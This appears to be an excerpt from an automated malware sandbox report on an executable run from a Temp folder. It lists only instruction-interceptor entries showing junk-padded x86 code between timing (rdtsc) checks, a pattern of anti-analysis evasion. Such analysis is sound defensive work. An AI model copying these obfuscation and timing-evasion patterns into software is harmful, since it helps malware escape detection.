Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006AF second address: 4A006B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006B3 second address: 4A006E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FB4246CBDEFh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB4246CBDF5h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006E4 second address: 4A006EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006EA second address: 4A006F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006F9 second address: 4A006FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006FD second address: 4A00703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A00581 second address: 4A005AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB42454284Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A005AD second address: 4A005B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A005B3 second address: 4A005B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10212 second address: 4A10227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10227 second address: 4A10260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov edx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB424542850h 0x00000014 and al, 00000038h 0x00000017 jmp 00007FB42454284Bh 0x0000001c popfd 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10260 second address: 4A1027C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40581 second address: 4A40585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40585 second address: 4A40589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40589 second address: 4A4058F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A4058F second address: 4A40595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40595 second address: 4A40599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40599 second address: 4A4059D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A4059D second address: 4A405FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c push ecx 0x0000000d push ebx 0x0000000e pop esi 0x0000000f pop ebx 0x00000010 movzx ecx, di 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007FB424542859h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov al, bh 0x00000021 pushfd 0x00000022 jmp 00007FB424542854h 0x00000027 add ecx, 7C5532F8h 0x0000002d jmp 00007FB42454284Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A2019D second address: 4A201A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A201A2 second address: 4A201FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB424542855h 0x0000000a and cx, 49A6h 0x0000000f jmp 00007FB424542851h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007FB424542851h 0x0000001e xchg eax, ebp 0x0000001f jmp 00007FB42454284Eh 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A201FF second address: 4A20205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A20205 second address: 4A2020B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A2020B second address: 4A2023C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b jmp 00007FB4246CBDEAh 0x00000010 and dword ptr [eax], 00000000h 0x00000013 jmp 00007FB4246CBDF0h 0x00000018 and dword ptr [eax+04h], 00000000h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A2023C second address: 4A20240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10CEA second address: 4A10D07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10D07 second address: 4A10D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB42454284Ah 0x00000009 and ecx, 7398BFF8h 0x0000000f jmp 00007FB42454284Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007FB424542859h 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 mov ecx, 5671EEB3h 0x00000025 jmp 00007FB424542858h 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FB42454284Ah 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10D74 second address: 4A10D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A10D78 second address: 4A10D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A20019 second address: 4A2004A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 12C2h 0x00000007 jmp 00007FB4246CBDF3h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007FB4246CBDEBh 0x00000018 pop eax 0x00000019 mov si, di 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30DA6 second address: 4A30DBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30DBB second address: 4A30DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30DC1 second address: 4A30DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30DC5 second address: 4A30DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30DC9 second address: 4A30DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, cx 0x0000000f movzx esi, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30DDC second address: 4A30E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FB4246CBDEDh 0x00000013 pop ecx 0x00000014 jmp 00007FB4246CBDF1h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30E1B second address: 4A30E4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB424542853h 0x00000012 movzx ecx, bx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30F79 second address: 4A30FAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c jmp 00007FB4246CBDF6h 0x00000011 ror eax, cl 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30FAA second address: 4A30FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A30FAF second address: 4A40008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB4246CBDF2h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e leave 0x0000000f pushad 0x00000010 pushad 0x00000011 mov ecx, edi 0x00000013 call 00007FB4246CBDEFh 0x00000018 pop esi 0x00000019 popad 0x0000001a mov cl, dh 0x0000001c popad 0x0000001d retn 0004h 0x00000020 nop 0x00000021 mov esi, eax 0x00000023 lea eax, dword ptr [ebp-08h] 0x00000026 xor esi, dword ptr [00592014h] 0x0000002c push eax 0x0000002d push eax 0x0000002e push eax 0x0000002f lea eax, dword ptr [ebp-10h] 0x00000032 push eax 0x00000033 call 00007FB428BBBE16h 0x00000038 push FFFFFFFEh 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40008 second address: 4A4000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A4000C second address: 4A40029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40029 second address: 4A40042 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40042 second address: 4A40093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FB4246CBDEFh 0x0000000c adc ax, 146Eh 0x00000011 jmp 00007FB4246CBDF9h 0x00000016 popfd 0x00000017 popad 0x00000018 ret 0x00000019 nop 0x0000001a push eax 0x0000001b call 00007FB428BBBE88h 0x00000020 mov edi, edi 0x00000022 jmp 00007FB4246CBDEEh 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d mov si, bx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40093 second address: 4A40109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB424542852h 0x00000008 pop eax 0x00000009 movsx edx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 mov di, 6FDEh 0x00000015 pushad 0x00000016 mov edx, 4E8A5D78h 0x0000001b pushfd 0x0000001c jmp 00007FB424542851h 0x00000021 xor ax, 9F66h 0x00000026 jmp 00007FB424542851h 0x0000002b popfd 0x0000002c popad 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f jmp 00007FB42454284Eh 0x00000034 mov ebp, esp 0x00000036 pushad 0x00000037 movzx ecx, bx 0x0000003a pushad 0x0000003b movsx ebx, cx 0x0000003e push eax 0x0000003f pop ebx 0x00000040 popad 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40109 second address: 4A4010F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A4010F second address: 4A40114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A40114 second address: 4A40129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4246CBDF1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0008 second address: 49F000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F000E second address: 49F0014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0014 second address: 49F0018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0018 second address: 49F003A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB4246CBDF7h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F003A second address: 49F0040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0040 second address: 49F0044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0044 second address: 49F0062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB42454284Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0062 second address: 49F0066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0066 second address: 49F006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F006C second address: 49F00EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 mov dx, si 0x00000014 popad 0x00000015 and esp, FFFFFFF8h 0x00000018 jmp 00007FB4246CBDECh 0x0000001d xchg eax, ecx 0x0000001e jmp 00007FB4246CBDF0h 0x00000023 push eax 0x00000024 pushad 0x00000025 mov edi, 110187F4h 0x0000002a movsx ebx, cx 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f pushad 0x00000030 jmp 00007FB4246CBDF2h 0x00000035 mov ch, 94h 0x00000037 popad 0x00000038 push esi 0x00000039 jmp 00007FB4246CBDEAh 0x0000003e mov dword ptr [esp], ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FB4246CBDF7h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F00EA second address: 49F0124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB42454284Fh 0x00000009 jmp 00007FB424542853h 0x0000000e popfd 0x0000000f movzx esi, bx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ebx, dword ptr [ebp+10h] 0x00000018 pushad 0x00000019 mov bh, 07h 0x0000001b popad 0x0000001c push ebp 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov ebx, ecx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0124 second address: 49F0128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0128 second address: 49F016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 call 00007FB424542858h 0x0000000c pop esi 0x0000000d mov eax, edx 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], esi 0x00000014 pushad 0x00000015 pushad 0x00000016 mov al, bl 0x00000018 mov edx, ecx 0x0000001a popad 0x0000001b mov si, 21EDh 0x0000001f popad 0x00000020 mov esi, dword ptr [ebp+08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FB42454284Fh 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F016F second address: 49F01BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 call 00007FB4246CBDEBh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov ecx, 1EEE5601h 0x00000015 call 00007FB4246CBDEEh 0x0000001a mov dx, cx 0x0000001d pop eax 0x0000001e popad 0x0000001f mov dword ptr [esp], edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB4246CBDF8h 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F01BA second address: 49F0214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB424542851h 0x00000009 sbb si, DF66h 0x0000000e jmp 00007FB424542851h 0x00000013 popfd 0x00000014 jmp 00007FB424542850h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c test esi, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB424542857h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0214 second address: 49F029A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB496C0A1CAh 0x0000000f pushad 0x00000010 call 00007FB4246CBDECh 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 pushfd 0x00000019 jmp 00007FB4246CBDF1h 0x0000001e sub cx, 4236h 0x00000023 jmp 00007FB4246CBDF1h 0x00000028 popfd 0x00000029 popad 0x0000002a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000031 jmp 00007FB4246CBDEEh 0x00000036 je 00007FB496C0A18Bh 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FB4246CBDEAh 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F029A second address: 49F02A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F02A0 second address: 49F0325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB4246CBDECh 0x00000009 or al, FFFFFFB8h 0x0000000c jmp 00007FB4246CBDEBh 0x00000011 popfd 0x00000012 mov ebx, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov edx, dword ptr [esi+44h] 0x0000001a jmp 00007FB4246CBDF2h 0x0000001f or edx, dword ptr [ebp+0Ch] 0x00000022 pushad 0x00000023 mov dx, cx 0x00000026 pushfd 0x00000027 jmp 00007FB4246CBDEAh 0x0000002c sbb ax, 6548h 0x00000031 jmp 00007FB4246CBDEBh 0x00000036 popfd 0x00000037 popad 0x00000038 test edx, 61000000h 0x0000003e jmp 00007FB4246CBDF6h 0x00000043 jne 00007FB496C0A155h 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0325 second address: 49F0329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F0329 second address: 49F032F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49F032F second address: 49F0335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0835 second address: 49E08DF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB4246CBDECh 0x00000008 sbb si, C5D8h 0x0000000d jmp 00007FB4246CBDEBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FB4246CBDF6h 0x0000001c push eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FB4246CBDF1h 0x00000024 xor cl, 00000026h 0x00000027 jmp 00007FB4246CBDF1h 0x0000002c popfd 0x0000002d push eax 0x0000002e pushfd 0x0000002f jmp 00007FB4246CBDF7h 0x00000034 xor si, 635Eh 0x00000039 jmp 00007FB4246CBDF9h 0x0000003e popfd 0x0000003f pop ecx 0x00000040 popad 0x00000041 xchg eax, ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FB4246CBDEAh 0x00000049 rdtsc
